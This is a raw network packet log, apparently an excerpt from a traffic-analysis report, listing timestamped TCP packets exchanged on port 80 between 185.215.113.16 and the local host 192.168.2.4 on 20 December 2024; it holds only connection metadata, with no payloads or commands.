Dec 20, 2024 17:10:58.754575968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.754635096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.754722118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.755780935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.755850077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.755904913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.756881952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.756947041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.757029057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.758037090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.758074045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.759154081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.759236097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.759285927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.760252953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.760304928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.760387897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.761399984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.761465073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.761549950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.762679100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.762846947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.762912035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.763809919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.763844967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.763902903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.765080929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.765135050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.765188932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.765937090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.766282082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.767200947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.767265081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.767364979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.767695904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.767751932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.767846107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.769532919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.769598961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.769695997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.770838022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.770873070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.770904064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.771794081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.771855116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.772108078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.772944927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.772994995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.773245096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.773303032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.773430109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.773549080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.774352074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.774462938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.774760008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.775537014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.775613070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.775696039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.776638985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.776696920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.776777983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.777769089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.777817011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.777868032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.778873920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.778956890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.779025078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.780086994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.780241013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.780329943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.781194925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.781248093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.781593084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.782356024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.782402992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.782419920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.783611059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.783662081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.783827066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.785335064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.785387993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.785398960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.785876989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.785912037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.786672115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.786885023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.786936045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.787029982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.788086891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.788124084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.788149118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.789194107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.789243937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.789370060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.790339947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.790405989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.790577888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.794028044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.794064999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.794090986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.794101000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.794137001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.794148922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.794174910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.794231892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.794600964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.795849085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.795885086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.795911074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.796838999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.796899080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.796974897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.798008919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.798044920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.798252106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.799115896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.799161911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.799252987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.800256014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.800312996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.800414085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.801395893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.801445007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.801541090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.802696943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.802731991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.802757025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.803843975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.803879023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.804030895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.804975033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.805011988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.805025101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.806068897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.806150913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.806220055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.807210922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.807259083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.807358980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.808336020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.808371067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.808397055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.809449911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.809554100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.809614897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.810616970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.810652971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.810667992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.811726093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.811784029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.811882019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.813034058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.813091040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.813175917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.813981056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.814029932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.814111948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.815113068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.815264940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.815488100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.816245079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.816312075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.816410065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.818161011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.818197012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.818221092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.818629026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.818793058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.818937063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.819753885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.819803953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.819930077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.821088076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.821245909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.821376085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.822071075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.822119951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.822201014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.823152065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.823209047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.823291063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.824445963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.824505091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.824599981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.825608015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.825658083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.825812101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.827461958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.827519894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.827613115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.828134060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.828177929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.871557951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.871604919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.871673107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.872028112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.872186899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.872796059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.872843981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.872951984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.872989893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.873765945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.873847961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.873928070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.874809027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.874887943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.874939919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.875802040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.875866890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.875924110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.876882076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.877073050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.877124071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.907083988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.907366991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.907407045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.907577038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.907701015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.908294916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.908337116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.908375025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.908415079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.909208059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.909364939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.909554005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.909936905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.910011053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.910149097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.910681009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.910820961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.910876036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.911531925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.911639929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.911678076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.912244081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.912365913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.912420034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.913069010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.913261890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.913307905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.913851976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.914020061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.914056063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.914716005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.914904118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.914961100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.915594101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.915723085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.915972948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.916023016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.916054964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.916066885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.916088104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.916305065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.916343927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.916711092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.916821957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.916832924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.916870117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.917052984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.917089939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.917478085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.917557001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.917567015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.917601109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.917807102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.917856932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.918318033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.918476105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.918487072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.918508053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.918716908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.918903112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.919075012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.919195890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.919209003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.919228077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.919349909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.919388056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.919821024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.919965029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.919976950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.920002937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.920241117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.920278072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.920615911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.920756102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.920767069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.920798063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.920970917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.921010971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.921423912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.921528101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.921539068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.921581984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.921751022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.921796083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.922272921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.922364950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.922377110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.922419071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.922595978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.922637939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.923032999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.923109055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.923120975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.923154116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.923324108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.923362017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.923849106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.923979044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.923991919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.924012899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.924143076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.924180984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.924639940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.924735069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.924746037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.924830914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.924963951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.925004005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.925407887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.925524950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.925537109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.925570965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.925801039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.925864935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.926220894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.926321983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.926335096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.926367998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.926580906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.926625967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.927170992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.927263975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.927275896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.927306890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.927515984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.927567005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.928059101 CET	80	49744	185.215.113.16	192.168.2.4
